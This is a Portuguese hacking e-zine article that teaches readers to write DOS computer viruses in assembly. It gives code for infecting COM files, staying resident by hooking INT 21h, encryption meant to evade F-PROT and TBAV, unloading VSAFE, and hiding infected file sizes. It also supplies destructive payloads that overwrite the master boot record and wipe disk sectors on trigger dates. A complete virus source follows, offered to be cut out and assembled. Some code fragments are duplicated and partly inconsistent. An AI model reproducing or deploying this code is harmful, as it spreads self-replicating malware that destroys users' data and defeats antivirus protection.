<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>
6=#@!Virus!@#=6
by
Crazy Devil
Ae moçada do mal, estou eu aqui pela primeira vez participando
da FW na minha opiniao um excelente e-zine hacking hehehehe
Eu sou Crazy Devil programo em asm e a pedido do meu
camarada Draco escrevi esta metéria.
Primeiramente vou deixar claro o que eu vou fazer.
Vou colocar um modo legal de se fazer vírus em asm é como
se eu colocasse as "propriedades" e depois vocês montam do jeito
que vocês quiserem um vírus esperto dai o resto é com vocês.
Qualquer lamah comsegue fazer isto pelo fato de o inbecil nao ter
que saber nem programar tem apenas que penssar (se é que
consseguem)
Fugindo do anti vírus:
Para fugir do anti vírus é simples a área que ele detecta é a açao
entao é só mudar o MB pelo hexadecimal.
Em todos os vírus é obigatoria colocar a propriedade que tem uma
linha de asteriscos no começo.
Compilando o vírus.
Você pode pegar o arquivo TASM.EXE na page da FW ou se preferir
pode procura-lo na busca por FTP.
CRAZYYYYYYYYYYYYYYY DEVILLLLLLLLLLLLL
==============================================================================
|||REPRODUÇAO|||
===============================================================
******************************************************************************
;
pushf ;colocar o registro
pusha ;em stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;pegue os erros de controle do dos
int 21h ;imterrompa
mov word ptr error,es ;e coloque em cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;passe os erros de controle do dos
mov dx,offset all ;para o meu "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;refaça os registros
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;coloque o registro
pusha ;
push si ;Ese tal demonio é louco
push di ;
push bp ;Por Favor
push es ;exorsizen-no
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;pegue o arquivo
mov word ptr cs:[attrib],cx ;atributos
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos all
xor cx,cx ;arquivo
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;abra o arquivo
int 21h ;para ler/escrever
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;pegue o arquivo da data
mov word ptr cs:[hora],cx ;coloque a hora
mov word ptr cs:[dia],dx ;coloque o dia
and cx,word ptr cs:[fecha] ;calcule os segundos
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! o arquivo está infectado
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;mova pointer para o final
call movedor ;do arquivo
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calcule
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;mova pointer para
call movedor ;o começo do arquivo
;----------------------------------------------------------
push cs ;
pop ds ;leia tres vezes o byte
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;coloque o byte em cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;as duas vezes bytes = 'MZ' ?
jne er1 ;yes! é um EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;mova pointer
call movedor ;para o começo do arquivo
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;escreva o jmp
lea dx,[cs:jump] ;instruçoes no
int 21h ;primeiro byte do arquivo
;----------------------------------------------------------
mov ah,40h ;escreva o valor jmp
mov cx,2 ;no arquivo
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;mova o pointer para
call movedor ;o final do arquivo
;----------------------------------------------------------
push cs ;
pop ds ;moa o codigo
push cs ;do meu vírus
pop es ;para cs:end+50
cld ;para encryptar
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encryptar o virus
inc di ;codigo
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
dec word ptr [di]
xor byte ptr [di],063h
not byte ptr [di]
dec byte ptr [di]
inc di
inc di ;codigo do vírus
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copie o vírus
mov dx,offset fin + 50 ;para o final do arquivo
int 21h ;
;----------------------------------------------------------
cerrar: ;
;refaça a
mov ax,5701h ;data e tempo
mov cx,word ptr cs:[hora] ;do arquivo
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;e marque segundos
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;feche o arquivo
;----------------------------------------------------------
pop ds ;
pop es ;refaça os
pop bp ;registros
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;refaça os atributos
mov cx,word ptr cs:[attrib] ;do arquivo
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;refaça os erros handler
mov ds,bx ;
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;refaça os registros
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
===============================================================
==============================================================================
==============================================================================
|||CAINDO NA MEMORIA RESIDENTE|||
==============================================================
mov ax,3521h
int 21h ;modostore em int 21 vetor
mov word ptr [bp+int21],bx ;no cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = meu atual seguimento
dec ax ;dec meu seguimentopaa olhar meu MCB
mov es,ax ;
mov bx,es:[3] ;ler #3 byte no meu MCB =total usando
;memoria
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subrair a margem do
;meu virus
sub bx,17 + offset fin ;e 100H do PSP total
mov ah,4ah ;usando memoria
int 21h ;coloque novo valor para MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;requerer a memoria para um fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=novo seguimento
mov es,ax ;ax-1= novo seguimento MCB
mov byte ptr es:[1],8 ;colocar '8' n seguimento
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = novo seguimento
lea si,[bp + offset start] ;si = começar o vírus
mov di,100h ;di = 100H (posiçao do psp)
mov cx,offset fin - start ;cx = lag no virus
push cs ;
pop ds ;ds = cs
cld ;mover o codigo
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = novo int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set em vetores
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;refaça o 3
mov byte ptr cs:[100h],ah ;primeiro bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp para executar
;
==============================================================
==============================================================================
==============================================================================
|||ÁREA DE SUB ROTINAS|||
==============================================================
******************************************************************************
;
movedor: ;
;
xor cx,cx ;use para mover arquivo pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use para set
iret ;em error flag
=============================================================
==============================================================================
==============================================================================
|||DATA ÁREA|||
=============================================================
******************************************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
;---------------------------------
action: ;
MOV AH,2AH ;
INT 21H ;pegue a data
CMP Dl,byte ptr cs:[action_dia+bp] ;esta é equaçao do meu dia?
JE cont ;no! fuck
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;esta é a equaçao do meu mês?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;no! fuck
set: ;
mov ah,0dh ;
int 21h ;reset no disco
mov al,2 ;
mov cx,0ffffh ;
mov dx,0 ;
int 26h ;fuck os setores ffffh
mov ah,0dh ;reste no disco
int 21h ;
mov al,2 ;
mov cx,0ffffh ;
mov dx,0ffffh ;new fuck+
int 26h ;heheheh!!!
NO_DAY: ;
ret ;
;---------------------------------
MBR:
=============================================================
==============================================================================
==============================================================================
|||COMEÇAR A ESCREVER MBR-BOMB|||
============================================================
mov ax,9f80h ;muita memoria
mov es,ax ;bom para buffer
mov ax,0201h ;leia o original
mov cx,0001h ;MBR no disco
mov dx,0080h ;
xor bx,bx ;para buffer 9f80:0000h
int 13h ;
push cs ;
pop ds ;
mov ax,9f80h ;adicionar minha MBR-BOMB
mov es,ax ;o MBR real em meu
mov si,offset fat ;buffer
xor di,di ;
mov cx,105 ;ds:[fat]=>9f80:0000h
repe movsb ;total 105bytes
mov ax,9f80h ;
mov es,ax ;
xor bx,bx ;repaça o original
mov ax,0301h ;MBR no disco para a
xor ch,ch ;nova MBR-BOMB.
mov dx,0080h ;
mov cl,1 ;CUIDADO! VSAFE/MSAVE
mov bx,0 ;NOTIFICOU ESTA AÇAO ACTION
int 13h ;
ret ;
=============================================================
==============================================================================
==============================================================================
|||COMEÇAR OS CODIGOS MBR|||
============================================================
fat: ;
cli ;#
xor ax,ax ;#
mov ss,ax ;#
mov sp,7C00h ;#
mov si,sp ;#
push ax ;#
pop es ;#
push ax ;#
pop ds ;#
sti ;#
;#
pushf ;#
push ax ;#
push cx ;# = Este codigo faz o
push dx ;# original MBR
push ds ;# (NAO MODIFIQUE)
push es ;#
MOV AH,04H ; Leia o tempo real
INT 1AH ; Relógio
CMP DH,cs:byte ptr action_mes ; o M6es?
JE CAGO ; yes! SNIF SNIF HD.
lit:
pop es
pop ds
pop dx
pop cx
pop ax
popf
jmp booti
CAGO:
=============================================================
==============================================================================
==============================================================================
|||COMEÇAR OS CODIGOS DESTRUTIVOS|||
============================================================
rip_hd:
;@
xor dx, dx ;@
rip_hd1: ;@
mov cx, 2 ;@
mov ax, 311h ;@
mov dl, 80h ;@
mov bx, 5000h ;@
mov es, bx ;@
int 13h ;@
jae rip_hd2 ;@
xor ah, ah ;@
int 13h ;@
rip_hd2: ;@
inc dh ;@
cmp dh, 4 ;@
jb rip_hd1 ;@
inc ch ;@
jmp rip_hd
=============================================================
==============================================================================
==============================================================================
|||FINALIZAR OS CODIGOS DESTRUTIVOS|||
============================================================
booti:
xor ax,ax ;#
mov es,ax ;#
mov bx,7c00h ;#
mov ah,02 ;#
mov al,1 ;#
mov cl,1 ;# #= Este codigo faz o original
mov ch,0 ;# MBR
mov dh,1 ;# (NAO MODIFIQUE)
mov dl,80h ;#
;#
int 13h ;#
;#
db 0eah,00,7ch,00,00 ;#
=============================================================
==============================================================================
==============================================================================
|||FINAL DOS CODIGOS MBR|||
============================================================
;---------------------------------
TRASH_RN: ;
MOV AH,2DH ;
INT 21H ;PEGUE A DATA
CMP Dl,6 ;É =6 (RAN 0-99)
jne NO_DAYY ;no! fuck
mov ah,0dh ;
int 21h ;reset o disco
mov al,2 ;
mov cx,0ffffh ;
mov dx,0 ;
int 26h ;fuck os setores ffffh
mov ah,0dh ;resete o disco
int 21h ;
mov al,2 ;
mov cx,0ffffh ;
mov dx,0ffffh ;new fuck+
int 26h ;heheheh!!!
NO_DAYY: ;
ret ;
;---------------------------------
;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVA VSAFE DA MEMORIA
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
;*****************************************************
dir_s:
pushf
push cs
call a3 ;Pegue arquivo Stats
test al,al ;Bom FCB?
jnz no_good ;no
push ax
push bx
push es
mov ah,51h ;Este é Undocumentadd? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Pegue arquivo DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask a Segunda Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Sim menos
;virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
=============================================================
==============================================================================
==============================================================================
|||FINAL DO CODIGOS VÍRUS|||
============================================================
******************************************************************************
action_dia Db 020H ;dia para agir
action_mes Db 0dH ;mês da açao
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
=============================================================
==============================================================================
Este é um vírus que eu fiz para a FW.
----------------Corta
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;faça stack em pointer location
mov bp,ss:[di] ;faça "DELTA HANDLE" para meu virus
sub bp,offset next ;subtraia o codigo grande deste código
cmp byte ptr cs:[crypt],0b9h ;é a primeira vez?
je crypt2 ;sim! nao decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = totalidade do vírus
lea di,[offset crypt]+ bp ;di = primeiro byte para decriptar
mov dx,1 ;dx = valor para decriptar
;----------------------------------------------------------
deci: ;deci = fuck!
;----------------------------------------------------------
inc di
inc di
;----------------------------------------------------------
jmp bye ;######## TCHAU TCHAU F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HA É APENAS UM JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### TCHAU TCHAU TBAV ! ##########
int 21h ;### ###
;----------------------------------------------------------
loop deci ;repita por favor!
;
;
crypt: ;fuck!
;
mov cx,offset fin ;cx = totalidade do virus
lea di,[offset crypt2] + bp ;di = primeiro byte para decryptar
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rotina
inc di ;muito simples...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck!
;
MOV AX,0CACAH ;fale para residente interromper mask
INT 21H ;checar "Eu estou residente?"
CMP Bh,0CAH ;é igual para CACA?
JE PUM2 ;yes! pule para rodar o programa
call action
mov ax,3521h
int 21h ;store o int 21 vectors
mov word ptr [bp+int21],bx ;em cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = meu atual segmento
dec ax ;dec meu segmento para olhar meu MCB
mov es,ax ;
mov bx,es:[3] ;leia o #3 byte do meu MCB =toatal de
;memoria usada
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;sbtraia a mergem do meu virus
sub bx,17 + offset fin ;e 100Hdo PSP total
mov ah,4ah ;memoria usada
int 21h ;coloque novo valor para MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;requerir memoria para fuder o DOS!
;---------------------------------------------------------------
dec ax ;ax=novo seguimento
mov es,ax ;ax-1= novo seguimento MCB
mov byte ptr es:[1],8 ;coloque '8' no segmento
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = novo seguimento
lea si,[bp + offset start] ;si = começar o vírus
mov di,100h ;di = 100H (posiçao psp)
mov cx,offset fin - start ;cx = totalidade do virus
push cs ;
pop ds ;ds = cs
cld ;mova o codigo
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = novo int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;refaça o terceiro byte
mov byte ptr cs:[100h],ah ;
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp para executar
;
;
VIRUS: ;
;
cmp ah,4bh ;é uma funçao 4b?
je REPRODUCCION ;yes! pule para reproduçao !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;é uma funçao caca?(resident chek)
jne a3 ;no! pule para a3 a3
mov bh,0cah ;yes! pule para bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp para int 21h
ret ;
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;coloque o registro
pusha ;no stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;pegue os erros de controlo do DO
int 21h ;interrompa
mov word ptr error,es ;e coloque em cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;controle de erros do DOS para o meu
mov dx,offset all ;"trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;refaça o registro
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
mov ax,4300h ;
int 21h ;pegue o arquivo
mov word ptr cs:[attrib],cx ;atributos
;-------------------------------------------------------------
mov ax,4301h ;todos os atributos do arquivo
xor cx,cx ;
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;abrir o arquivo
int 21h ;para ler e escrever
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;pegue o arquivo da data
mov word ptr cs:[hora],cx ;pegue o arquivo da hora
mov word ptr cs:[dia],dx ;pegue o dia
and cx,word ptr cs:[fecha] ;calcule os segundos
cmp cx,word ptr cs:[fecha] ;é igual para 58? (DEDICATE TO N-POX)
jne seguir ;yes! o arquivo esta infectado!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;mova pointer para o final do aqruivo
call movedor ;
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calcule o
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;mova pointer para o começo do arquivo
call movedor ;
;----------------------------------------------------------
push cs ;
pop ds ;leia três vezes o bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;coloque os bytes em cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;os dois primeiros bytes = 'MZ' ?
jne er1 ;yes! é um EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;mova o pointer para o começo do aqruivo
call movedor ;
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;escreva o JMP
lea dx,[cs:jump] ;instruçao no primeiro byte do arquivo
int 21h ;
;----------------------------------------------------------
mov ah,40h ;escreva o valor de jmp
mov cx,2 ;no arquivo
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;mova pointer para o final do arquivo
call movedor ;
;----------------------------------------------------------
push cs ;
pop ds ;mova o codigo
push cs ;do meu vírus
pop es ;para cs:end+50
cld ;para encryptar
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypta o codigo do vírus
inc di ;
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
inc di
inc di ;codigo do vírus
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copie o virus para o final do arquivo
mov dx,offset fin + 50 ;
int 21h ;
;----------------------------------------------------------
cerrar: ;
;refaça a data
mov ax,5701h ;e o tempo do arquivo
mov cx,word ptr cs:[hora] ;
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;e marque os segundos
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;feche o arquivo
;----------------------------------------------------------
pop ds ;
pop es ;refaça o registro
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;refaça os atributos do arquivo
mov cx,word ptr cs:[attrib] ;
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;refaça os
mov ds,bx ;erros handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;refaça os registros
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;
movedor: ;
;
xor cx,cx ;use para mover arquiv pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use para um set
iret ;error flag
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
;---------------------------------
action: ;chama label
MOV AH,2AH ;
INT 21H ;pegar data
CMP Dl,byte ptr cs:[action_dia+bp] ;é igual ao meu dia?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;é igual ao meu mês?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;mostre meu texto!
INT 21H ;agora!
INT 20H ;acabe o programa
NO_DAY: ;data incorreta
ret ;retorne a chamada
;---------------------------------
PAO:
DB 10,13,'FUCK FUCK ALL CONSTITUITION FUCKER WORLD!!!!!!!!!!!','$'
;-------------;
Dir_S: ;
jmp dirsal ;
no_Good:iret ;
;-------------;
action_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 06H ;Secon for mark
FECHAd Db 06H ;Secon for mark dir st
fin:
code ends
end start
---------------------Corta
É isto ai halera fico por aqui espero poder escrever muito mais
matérias sobre ASM para a FW só estou esperando o Draco me chamar.
Valeu a todos vocês até a proxima (se é que eu vou voltar).
<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>